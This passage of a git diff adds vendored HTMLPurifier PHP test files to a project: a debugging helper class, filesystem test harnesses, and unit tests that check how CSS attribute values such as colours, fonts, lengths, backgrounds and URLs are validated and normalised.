Debugger::instance(); + return $Debugger->resetScopes(); +} +function isInScopes($array = array()) +{ + $Debugger =& Debugger::instance(); + return $Debugger->isInScopes($array); +} +/**#@-*/ + + +/** + * The debugging singleton. Most interesting stuff happens here. + */ +class Debugger +{ + + public $shouldPaint = false; + public $paints = 0; + public $current_scopes = array(); + public $scope_nextID = 1; + public $add_pre = true; + + public function __construct() + { + $this->add_pre = !extension_loaded('xdebug'); + } + + public static function &instance() { + static $soleInstance = false; + if (!$soleInstance) $soleInstance = new Debugger(); + return $soleInstance; + } + + public function paintIf($mixed, $conditional) + { + if (!$conditional) return; + $this->paint($mixed); + } + + public function paintWhen($mixed, $scopes = array()) + { + if (!$this->isInScopes($scopes)) return; + $this->paint($mixed); + } + + public function paintIfWhen($mixed, $conditional, $scopes = array()) + { + if (!$conditional) return; + if (!$this->isInScopes($scopes)) return; + $this->paint($mixed); + } + + public function paint($mixed) + { + $this->paints++; + if($this->add_pre) echo '
    ';
    +        var_dump($mixed);
    +        if($this->add_pre) echo '
    '; + } + + public function addScope($id = false) + { + if ($id == false) { + $id = $this->scope_nextID++; + } + $this->current_scopes[$id] = true; + } + + public function removeScope($id) + { + if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); + } + + public function resetScopes() + { + $this->current_scopes = array(); + $this->scope_nextID = 1; + } + + public function isInScopes($scopes = array()) + { + if (empty($this->current_scopes)) { + return false; + } + if (!is_array($scopes)) { + $scopes = array($scopes); + } + foreach ($scopes as $scope_id) { + if (empty($this->current_scopes[$scope_id])) { + return false; + } + } + if (empty($scopes)) { + if ($this->scope_nextID == 1) { + return false; + } + for($i = 1; $i < $this->scope_nextID; $i++) { + if (empty($this->current_scopes[$i])) { + return false; + } + } + } + return true; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php new file mode 100644 index 00000000..8e2e2191 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php @@ -0,0 +1,40 @@ +dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; + mkdir($this->dir); + $this->oldDir = getcwd(); + + } + + public function __destruct() + { + FSTools::singleton()->rmdirr($this->dir); + } + + public function setup() + { + chdir($this->dir); + } + + public function tearDown() + { + chdir($this->oldDir); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php new file mode 100644 index 00000000..5952dcd5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php @@ -0,0 +1,49 @@ +assertFalse($file->exists()); + $file->write('foobar'); + $this->assertTrue($file->exists()); + $this->assertEqual($file->get(), 'foobar'); + $file->delete(); + $this->assertFalse($file->exists()); + } + + public function testGetNonExistent() + { + $name = 'notfound.txt'; + $file = new FSTools_File($name); + $this->expectError(); + $this->assertFalse($file->get()); + } + + public function testHandle() + { + $file = new FSTools_File('foo.txt'); + $this->assertFalse($file->exists()); + $file->open('w'); + $this->assertTrue($file->exists()); + $file->put('Foobar'); + $file->close(); + $file->open('r'); + $this->assertIdentical('F', $file->getChar()); + $this->assertFalse($file->eof()); + $this->assertIdentical('oo', $file->read(2)); + $this->assertIdentical('bar', $file->getLine()); + $this->assertTrue($file->eof()); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php new file mode 100644 index 00000000..d22e3fdf --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php @@ -0,0 +1,134 @@ +attr_collections = array( + 'Core' => array( + 0 => array('Soup', 'Undefined'), + 'attribute' => 'Type', + 'attribute-2' => 'Type2', + ), + 'Soup' => array( + 'attribute-3' => 'Type3-old' // overwritten + ) + ); + + $modules['Module2'] = new HTMLPurifier_HTMLModule(); + $modules['Module2']->attr_collections = array( + 'Core' => array( + 0 => array('Brocolli') + ), + 'Soup' => array( + 'attribute-3' => 'Type3' + ), + 'Brocolli' => array() + ); + + $collections->doConstruct($types, $modules); + // this is without identifier expansion or inclusions + $this->assertIdentical( + $collections->info, + array( + 'Core' => array( + 0 => array('Soup', 'Undefined', 'Brocolli'), + 'attribute' => 'Type', + 'attribute-2' => 'Type2' + ), + 'Soup' => array( + 'attribute-3' => 'Type3' + ), + 'Brocolli' => array() + ) + ); + + } + + public function test_performInclusions() + { + generate_mock_once('HTMLPurifier_AttrTypes'); + + $types = new HTMLPurifier_AttrTypesMock(); + $collections = new HTMLPurifier_AttrCollections($types, array()); + $collections->info = array( + 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), + 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), + 'SubInclusion' => array('attr2' => 'Type') + ); + + $collections->performInclusions($collections->info['Core']); + $this->assertIdentical( + $collections->info['Core'], + array( + 'attr-original' => 'Type', + 'attr' => 'Type', + 'attr2' => 'Type' + ) + ); + + // test recursive + $collections->info = array( + 'One' => array(0 => array('Two'), 'one' => 'Type'), + 'Two' => array(0 => array('One'), 'two' => 'Type') + ); + $collections->performInclusions($collections->info['One']); + $this->assertIdentical( + $collections->info['One'], + array( + 'one' => 'Type', + 'two' => 'Type' + ) + ); + + } + + public function test_expandIdentifiers() + { + generate_mock_once('HTMLPurifier_AttrTypes'); + + $types = new HTMLPurifier_AttrTypesMock(); + $collections = new HTMLPurifier_AttrCollections($types, array()); + + $attr = array( + 'attr1' => 'Color', + 'attr2*' => 'URI' + ); + $c_object = new HTMLPurifier_AttrDef_HTML_Color(); + $u_object = new HTMLPurifier_AttrDef_URI(); + + $types->returns('get', $c_object, array('Color')); + $types->returns('get', $u_object, array('URI')); + + $collections->expandIdentifiers($attr, $types); + + $u_object->required = true; + $this->assertIdentical( + $attr, + array( + 'attr1' => $c_object, + 'attr2' => $u_object + ) + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php new file mode 100644 index 00000000..34929f18 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php @@ -0,0 +1,28 @@ +def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + + $this->assertDef('0'); + $this->assertDef('1'); + $this->assertDef('0.2'); + + // clamping to [0.0, 1,0] + $this->assertDef('1.2', '1'); + $this->assertDef('-3', '0'); + + $this->assertDef('0.0', '0'); + $this->assertDef('1.0', '1'); + $this->assertDef('000', '0'); + + $this->assertDef('asdf', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php new file mode 100644 index 00000000..61952d66 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php @@ -0,0 +1,68 @@ +def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); + + // explicitly cited in spec + $this->assertDef('0% 0%'); + $this->assertDef('100% 100%'); + $this->assertDef('14% 84%'); + $this->assertDef('2cm 1cm'); + $this->assertDef('top'); + $this->assertDef('left'); + $this->assertDef('center'); + $this->assertDef('right'); + $this->assertDef('bottom'); + $this->assertDef('left top'); + $this->assertDef('center top'); + $this->assertDef('right top'); + $this->assertDef('left center'); + $this->assertDef('right center'); + $this->assertDef('left bottom'); + $this->assertDef('center bottom'); + $this->assertDef('right bottom'); + + // reordered due to internal impl details + $this->assertDef('top left', 'left top'); + $this->assertDef('top center', 'top'); + $this->assertDef('top right', 'right top'); + $this->assertDef('center left', 'left'); + $this->assertDef('center center', 'center'); + $this->assertDef('center right', 'right'); + $this->assertDef('bottom left', 'left bottom'); + $this->assertDef('bottom center', 'bottom'); + $this->assertDef('bottom right', 'right bottom'); + + // more cases from the defined syntax + $this->assertDef('1.32in 4ex'); + $this->assertDef('-14% -84.65%'); + $this->assertDef('-1in -4ex'); + $this->assertDef('-1pc 2.3%'); + + // keyword mixing + $this->assertDef('3em top'); + $this->assertDef('left 50%'); + + // fixable keyword mixing + $this->assertDef('top 3em', '3em top'); + $this->assertDef('50% left', 'left 50%'); + + // whitespace collapsing + $this->assertDef('3em top', '3em top'); + $this->assertDef("left\n \t foo ", 'left'); + + // invalid uses (we're going to be strict on these) + $this->assertDef('foo bar', false); + $this->assertDef('left left', 'left'); + $this->assertDef('left right top bottom center left', 'left bottom'); + $this->assertDef('0fr 9%', '9%'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php new file mode 100644 index 00000000..5faff98c --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_Background($config); + + $valid = '#333 url("chess.png") repeat fixed 50% top'; + $this->assertDef($valid); + $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); + $this->assertDef( + 'rgb(34%, 56%, 33%) url(chess.png) repeat fixed top', + 'rgb(34%,56%,33%) url("chess.png") repeat fixed top' + ); + $this->assertDef( + 'rgba(74, 12, 85, 0.35) repeat fixed bottom', + 'rgba(74,12,85,0.35) repeat fixed bottom' + ); + $this->assertDef( + 'hsl(244, 47.4%, 88.1%) right center', + 'hsl(244,47.4%,88.1%) right center' + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php new file mode 100644 index 00000000..9159e8dc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php @@ -0,0 +1,21 @@ +def = new HTMLPurifier_AttrDef_CSS_Border($config); + + $this->assertDef('thick solid red', 'thick solid #FF0000'); + $this->assertDef('thick solid'); + $this->assertDef('solid red', 'solid #FF0000'); + $this->assertDef('1px solid #000'); + $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php new file mode 100644 index 00000000..bab74d03 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php @@ -0,0 +1,61 @@ +def = new HTMLPurifier_AttrDef_CSS_Color(); + + $this->assertDef('#F00'); + $this->assertDef('#fff'); + $this->assertDef('#eeeeee'); + $this->assertDef('#808080'); + + $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces + $this->assertDef('rgb(100%,0%,0%)'); + $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay + $this->assertDef('rgb(-5,0,0)', 'rgb(0,0,0)'); // negative values + $this->assertDef('rgb(295,0,0)', 'rgb(255,0,0)'); // max values + $this->assertDef('rgb(12%,150%,0%)', 'rgb(12%,100%,0%)'); // percentage max values + + $this->assertDef('rgba(255, 0, 0, 0)', 'rgba(255,0,0,0)'); // rm spaces + $this->assertDef('rgba(100%,0%,0%,0.4)'); + $this->assertDef('rgba(38.1%,59.7%,1.8%,0.7)', 'rgba(38.1%,59.7%,1.8%,0.7)'); // decimals okay + + $this->assertDef('hsl(275, 45%, 81%)', 'hsl(275,45%,81%)'); // rm spaces + $this->assertDef('hsl(100,0%,0%)'); + $this->assertDef('hsl(38,59.7%,1.8%)', 'hsl(38,59.7%,1.8%)'); // decimals okay + $this->assertDef('hsl(-11,-15%,25%)', 'hsl(0,0%,25%)'); // negative values + $this->assertDef('hsl(380,125%,0%)', 'hsl(360,100%,0%)'); // max values + + $this->assertDef('hsla(100, 74%, 29%, 0)', 'hsla(100,74%,29%,0)'); // rm spaces + $this->assertDef('hsla(154,87%,21%,0.4)'); + $this->assertDef('hsla(45,94.3%,4.1%,0.7)', 'hsla(45,94.3%,4.1%,0.7)'); // decimals okay + + $this->assertDef('#G00', false); + $this->assertDef('cmyk(40, 23, 43, 23)', false); + $this->assertDef('rgb(0%, 23, 68%)', false); // no mixed type + $this->assertDef('rgb(231, 144, 28.2%)', false); // no mixed type + $this->assertDef('hsl(18%,12%,89%)', false); // integer, percentage, percentage + + // clip numbers outside sRGB gamut + $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); + $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); + + // color keywords, of course + $this->assertDef('red', '#FF0000'); + + // malformed hex declaration + $this->assertDef('808080', '#808080'); + $this->assertDef('000000', '#000000'); + $this->assertDef('fed', '#fed'); + + // maybe hex transformations would be another nice feature + // at the very least transform rgb percent to rgb integer + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php new file mode 100644 index 00000000..b365a80f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php @@ -0,0 +1,82 @@ +defs =& $defs; + } + +} + +class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness +{ + + protected $def1, $def2; + + public function test() + { + generate_mock_once('HTMLPurifier_AttrDef'); + + $config = HTMLPurifier_Config::createDefault(); + $context = new HTMLPurifier_Context(); + + // first test: value properly validates on first definition + // so second def is never called + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'FOOBAR'; + $output = 'foobar'; + $def1_params = array($input, $config, $context); + $def1->expectOnce('validate', $def1_params); + $def1->returns('validate', $output, $def1_params); + $def2->expectNever('validate'); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + // second test, first def fails, second def works + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'BOOMA'; + $output = 'booma'; + $def_params = array($input, $config, $context); + $def1->expectOnce('validate', $def_params); + $def1->returns('validate', false, $def_params); + $def2->expectOnce('validate', $def_params); + $def2->returns('validate', $output, $def_params); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + // third test, all fail, so composite faiils + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'BOOMA'; + $output = false; + $def_params = array($input, $config, $context); + $def1->expectOnce('validate', $def_params); + $def1->returns('validate', false, $def_params); + $def2->expectOnce('validate', $def_params); + $def2->returns('validate', false, $def_params); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php new file mode 100644 index 00000000..19b2d8d7 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_Filter(); + + $this->assertDef('none'); + + $this->assertDef('alpha(opacity=0)'); + $this->assertDef('alpha(opacity=100)'); + $this->assertDef('alpha(opacity=50)'); + $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); + $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); + + $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); + $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); + + $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); + + $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php new file mode 100644 index 00000000..7f2fe0d0 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php @@ -0,0 +1,53 @@ +def = new HTMLPurifier_AttrDef_CSS_FontFamily(); + + $this->assertDef('Gill, Helvetica, sans-serif'); + $this->assertDef("'Times New Roman', serif"); + $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); + $this->assertDef('01234'); + $this->assertDef(',', false); + $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); + $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); + $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); + $this->assertDef("'\\01'", "''"); + $this->assertDef("'\\20'", "' '"); + $this->assertDef("\\0020", "' '"); + $this->assertDef("'\\000045'", "E"); + $this->assertDef("','", false); + $this->assertDef("',' foobar','", "' foobar'"); + $this->assertDef("'\\000045a'", "Ea"); + $this->assertDef("'\\00045 a'", "Ea"); + $this->assertDef("'\\00045 a'", "'E a'"); + $this->assertDef("'\\\nf'", "f"); + // No longer supported, except maybe in NoJS mode (see source + // file for more explanation) + //$this->assertDef($d = '"John\'s Font"'); + //$this->assertDef("John's Font", $d); + //$this->assertDef("'\\','f'", "\"\\5C \", f"); + //$this->assertDef("'\\27'", "\"'\""); + //$this->assertDef('"\\22"', "\"\\22 \""); + //$this->assertDef('"\\""', "\"\\22 \""); + //$this->assertDef('"\'"', "\"'\""); + } + + public function testAllowed() + { + $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); + + $this->assertDef('serif'); + $this->assertDef('sans-serif', false); + $this->assertDef('serif, sans-serif', 'serif'); + $this->assertDef('Times New Roman', "'Times New Roman'"); + $this->assertDef("'Times New Roman'"); + $this->assertDef('foo', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php new file mode 100644 index 00000000..c52d164f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php @@ -0,0 +1,34 @@ +def = new HTMLPurifier_AttrDef_CSS_Font($config); + + // hodgepodge of usage cases from W3C spec, but " -> ' + $this->assertDef('12px/14px sans-serif'); + $this->assertDef('80% sans-serif'); + $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); + $this->assertDef('bold italic large Palatino, serif'); + $this->assertDef('normal small-caps 120%/120% fantasy'); + $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); + $this->assertDef('600 9px Charcoal'); + $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); + + // spacing + $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); + + // system fonts + $this->assertDef('menu'); + + $this->assertDef('800', false); + $this->assertDef('600 9px//12px Charcoal', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php new file mode 100644 index 00000000..d2635f92 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php @@ -0,0 +1,56 @@ +mock = new HTMLPurifier_AttrDefMock(); + $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); + } + + protected function setMock($input, $output = null) + { + if ($output === null) $output = $input; + $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); + $this->mock->returns('validate', $output); + } + + public function testImportant() + { + $this->setMock('23'); + $this->assertDef('23 !important'); + } + + public function testImportantInternalDefChanged() + { + $this->setMock('23', '24'); + $this->assertDef('23 !important', '24 !important'); + } + + public function testImportantWithSpace() + { + $this->setMock('23'); + $this->assertDef('23 ! important ', '23 !important'); + } + + public function testFakeImportant() + { + $this->setMock('! foo important'); + $this->assertDef('! foo important'); + } + + public function testStrip() + { + $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); + $this->setMock('23'); + $this->assertDef('23 ! important ', '23'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php new file mode 100644 index 00000000..dd79f906 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php @@ -0,0 +1,49 @@ +def = new HTMLPurifier_AttrDef_CSS_Length(); + + $this->assertDef('0'); + $this->assertDef('0px'); + $this->assertDef('4.5px'); + $this->assertDef('-4.5px'); + $this->assertDef('3ex'); + $this->assertDef('3em'); + $this->assertDef('3in'); + $this->assertDef('3cm'); + $this->assertDef('3mm'); + $this->assertDef('3pt'); + $this->assertDef('3pc'); + + $this->assertDef('3PX', '3px'); + + $this->assertDef('3', false); + $this->assertDef('3miles', false); + + } + + public function testNonNegative() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); + + $this->assertDef('3cm'); + $this->assertDef('-3mm', false); + + } + + public function testBounding() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); + $this->assertDef('1cm'); + $this->assertDef('-1cm'); + $this->assertDef('0'); + $this->assertDef('1em', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php new file mode 100644 index 00000000..7cd83464 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php @@ -0,0 +1,35 @@ +def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); + + $this->assertDef('lower-alpha'); + $this->assertDef('upper-roman inside'); + $this->assertDef('circle outside'); + $this->assertDef('inside'); + $this->assertDef('none'); + $this->assertDef('url("foo.gif")'); + $this->assertDef('circle url("foo.gif") inside'); + + // invalid values + $this->assertDef('outside inside', 'outside'); + + // ordering + $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); + $this->assertDef('circle lower-alpha', 'circle'); + // the spec is ambiguous about what happens in these + // cases, so we're going off the W3C CSS validator + $this->assertDef('disc none', 'disc'); + $this->assertDef('none disc', 'none'); + + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php new file mode 100644 index 00000000..e2725f74 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_Multiple( + new HTMLPurifier_AttrDef_Integer() + ); + + $this->assertDef('1 2 3 4'); + $this->assertDef('6'); + $this->assertDef('4 5'); + $this->assertDef(' 2 54 2 3', '2 54 2 3'); + $this->assertDef("6\r3", '6 3'); + + $this->assertDef('asdf', false); + $this->assertDef('a s d f', false); + $this->assertDef('1 2 3 4 5', '1 2 3 4'); + $this->assertDef('1 2 invalid 3', '1 2 3'); + + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php new file mode 100644 index 00000000..6e9d44d4 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php @@ -0,0 +1,51 @@ +def = new HTMLPurifier_AttrDef_CSS_Number(); + + $this->assertDef('0'); + $this->assertDef('0.0', '0'); + $this->assertDef('1.0', '1'); + $this->assertDef('34'); + $this->assertDef('4.5'); + $this->assertDef('0.5'); + $this->assertDef('0.5', '0.5'); + $this->assertDef('-56.9'); + + $this->assertDef('0.', '0'); + $this->assertDef('.0', '0'); + $this->assertDef('0.0', '0'); + + $this->assertDef('1.', '1'); + $this->assertDef('.1', '0.1'); + + $this->assertDef('1.0', '1'); + $this->assertDef('0.1', '0.1'); + + $this->assertDef('000', '0'); + $this->assertDef(' 9', '9'); + $this->assertDef('+5.0000', '5'); + $this->assertDef('02.20', '2.2'); + $this->assertDef('2.', '2'); + + $this->assertDef('.', false); + $this->assertDef('asdf', false); + $this->assertDef('0.5.6', false); + + } + + public function testNonNegative() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); + $this->assertDef('23'); + $this->assertDef('-12', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php new file mode 100644 index 00000000..5aa0090f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php @@ -0,0 +1,24 @@ +def = new HTMLPurifier_AttrDef_CSS_Percentage(); + + $this->assertDef('10%'); + $this->assertDef('1.607%'); + $this->assertDef('-567%'); + + $this->assertDef(' 100% ', '100%'); + + $this->assertDef('5', false); + $this->assertDef('asdf', false); + $this->assertDef('%', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php new file mode 100644 index 00000000..fbefc6af --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php @@ -0,0 +1,27 @@ +def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); + + $this->assertDef('none'); + $this->assertDef('none underline', 'underline'); + + $this->assertDef('underline'); + $this->assertDef('overline'); + $this->assertDef('line-through overline underline'); + $this->assertDef('overline line-through'); + $this->assertDef('UNDERLINE', 'underline'); + $this->assertDef(' underline line-through ', 'underline line-through'); + + $this->assertDef('foobar underline', 'underline'); + $this->assertDef('blink', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php new file mode 100644 index 00000000..a29f6e90 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_URI(); + + $this->assertDef('', false); + + // we could be nice but we won't be + $this->assertDef('http://www.example.com/', false); + + $this->assertDef('url(', false); + $this->assertDef('url("")', true); + $result = 'url("http://www.example.com/")'; + $this->assertDef('url(http://www.example.com/)', $result); + $this->assertDef('url("http://www.example.com/")', $result); + $this->assertDef("url('http://www.example.com/')", $result); + $this->assertDef( + ' url( "http://www.example.com/" ) ', $result); + $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", + 'url("http://www.example.com/foo,bar%29%27%28")'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php new file mode 100644 index 00000000..17a56581 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php @@ -0,0 +1,195 @@ +def = new HTMLPurifier_AttrDef_CSS(); + } + + public function test() + { + // regular cases, singular + $this->assertDef('text-align:right;'); + $this->assertDef('border-left-style:solid;'); + $this->assertDef('border-style:solid dotted;'); + $this->assertDef('clear:right;'); + $this->assertDef('float:left;'); + $this->assertDef('font-style:italic;'); + $this->assertDef('font-variant:small-caps;'); + $this->assertDef('font-weight:bold;'); + $this->assertDef('list-style-position:outside;'); + $this->assertDef('list-style-type:upper-roman;'); + $this->assertDef('list-style:upper-roman inside;'); + $this->assertDef('text-transform:capitalize;'); + $this->assertDef('background-color:rgb(0,0,255);'); + $this->assertDef('background-color:transparent;'); + $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); + $this->assertDef('background:#333 url("che;ss.png") repeat fixed 50% 